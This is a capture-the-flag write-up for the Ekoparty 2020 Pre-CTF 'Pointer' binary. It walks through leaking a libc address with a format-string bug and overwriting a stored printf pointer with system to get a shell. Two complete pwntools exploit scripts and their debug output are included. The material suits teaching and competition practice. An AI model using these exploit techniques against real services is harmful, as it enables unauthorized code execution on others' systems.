Pointer (Pwn) – Ekoparty 2020 Pre-CTF [EN]
This vulnerable binary was part of the misc challenges at the Ekoparty 2020 Pre-CTF. You can download it here. To solve it you have to combine a format string attack with ret2libc.
Let’s start by checking the file type with file
Pointer: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32
The file is a 64-bit dynamically linked Linux executable. Upon execution, it says hello and waits for an input that is returned.
If we disassemble the binary, we find that it allocates space for a 0x40 byte buffer and for four 8 byte local variables in the stack.
These local variables are used to store pointers to Procedure linkage table (PLT) entries and the pointers are used to call libc
functions. For example, here we see a call to printf
that prints “Welcome bro” by copying this pointer to rax
and then executing call rax
.
Using the same strategy, the program asks for input passing the buffer’s address to gets
. Then, the program uses the same pointer as the only argument of printf
. Hence, we can try a format string attack. You can read more about this attack here, here or here.
Let’s write a script to achieve the attack and print the address of gets
. This address will be useful to calculate the positions of other libc
functions in the program’s address space that we will use to take control of the execution. We’ll use a Python library called pwntools
.
from pwn import *
context.log_level = 'debug'
gets_got = 0x601040
payload = "%7$s "
payload += p64(gets_got)
p = remote("52.202.106.196", 61338)
p.recvline()
p.sendline(payload)
p.recvall()
The payload is composed by two parts. First, the format string to print the eighth argument as a string pointer and some padding. As the program is a 64-bit executable, printf
will get the first six arguments from registers, the seventh argument will be the format string including the padding and the eight argument will be the address that is the second part of the payload. This address is the entry for gets
function in the Global offset table (GOT). As a result, printf
will print to the terminal the content of gets
GOT entry, leaking it’s address in the program space.
Since memory addresses aren’t always composed by printable characters, it is useful to activate the debug mode of pwntools
library. This shows a hexdump of all sent and received data.
[+] Opening connection to 52.202.106.196 on port 61338: Done
[DEBUG] Received 0xc bytes:
'Welcome Bro\n'
[DEBUG] Sent 0x11 bytes:
00000000 25 37 24 73 20 20 20 20 40 10 60 00 00 00 00 00 │%7$s│ │@·`·│····│
00000010 0a │·│
00000011
[+] Receiving all data: Done (13B)
[DEBUG] Received 0xd bytes:
00000000 80 bd a7 f7 ff 7f 20 20 20 20 40 10 60 │····│·· │ @·│`│
0000000d
[*] Closed connection to 52.202.106.196 port 61338
When the script is executed, gets
address is returned in the first 6 bytes received in little endian format (0x7ffff7a7db80
). Every time the script is executed, we get the same address. This will make things easier because the address space is not being randomized. If this were not the case, we would have to find a way to leak gets
address and continue executing the program. Sometimes this can be made by using printf
and %n
format specifier to write main
address over other GOT entry such as exit
causing the program to execute in a loop.
Luckily, we can use the leaked address directly to find out the addresses of other libc
functions. To do this, we can use this site or clone this repo. We will try to execute system("/bin/sh")
to get a shell. In the site, we enter the function name and the last 12 bits of the leaked address. Only the last 12 bits are checked, because randomization usually works on page size level.
The addresses of other functions depend on the version of libc
. For this address of gets
we get two possible libc
versions. The first one worked well and has system
on offset 0x45390
and gets
on offset 0x6ed80
from libc
start.
With this information we can now exploit the binary using the following script:
from pwn import *
# context.update(arch='ia64', os='linux')
context.log_level = 'debug'
# Calculamos las direcciones
gets_libc = 0x7ffff7a7bd80
offset_gets = 0x06ed80
offset_system = 0x045390
system_libc = offset_system + (gets_libc-offset_gets)
payload2 = "/bin/sh\00" # welcome bro pointer
payload2 += "A" * (0x40 - len(payload2)) # padding
payload2 += "B" * 0x8 # pisa fflush
payload2 += "C" * 0x8 # pisa exit
payload2 += "D" * 0x8 # pisa gets
payload2 += p64(system_libc)# pisa printf
p = remote("52.202.106.196", 61338)
p.recvline()
p.sendline(payload2)
p.interactive()
It calculates the actual memory address of system
function by knowing gets
address and the offsets of both function from the start of libc
(gets_libc - offset_gets
equals libc
start address in the program’s memory space). Then, it takes advantage of the program call to printf
right after calling gets
as shown below:
Before calling printf
, rdi
points to the buffer (first argument). In consequence, to exploit the binary, it only takes to write the path of the binary we want to execute (/bin/sh
) in the buffer and overwrite the pointer to printf
with the address of system
we have just calculated. By executing this script, we can get a shell and print the flag.
[+] Opening connection to 52.202.106.196 on port 61338: Done
[DEBUG] Received 0xc bytes:
'Welcome Bro\n'
[DEBUG] Sent 0x61 bytes:
00000000 2f 62 69 6e 2f 73 68 00 41 41 41 41 41 41 41 41 │/bin│/sh·│AAAA│AAAA│
00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000040 42 42 42 42 42 42 42 42 43 43 43 43 43 43 43 43 │BBBB│BBBB│CCCC│CCCC│
00000050 44 44 44 44 44 44 44 44 90 23 a5 f7 ff 7f 00 00 │DDDD│DDDD│·#··│····│
00000060 0a │·│
00000061
[*] Switching to interactive mode
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
'cat flag.txt\n'
[DEBUG] Received 0x1e bytes:
'EKO{AreYouReadyFor#Pwndemic?}\n'
EKO{AreYouReadyFor#Pwndemic?}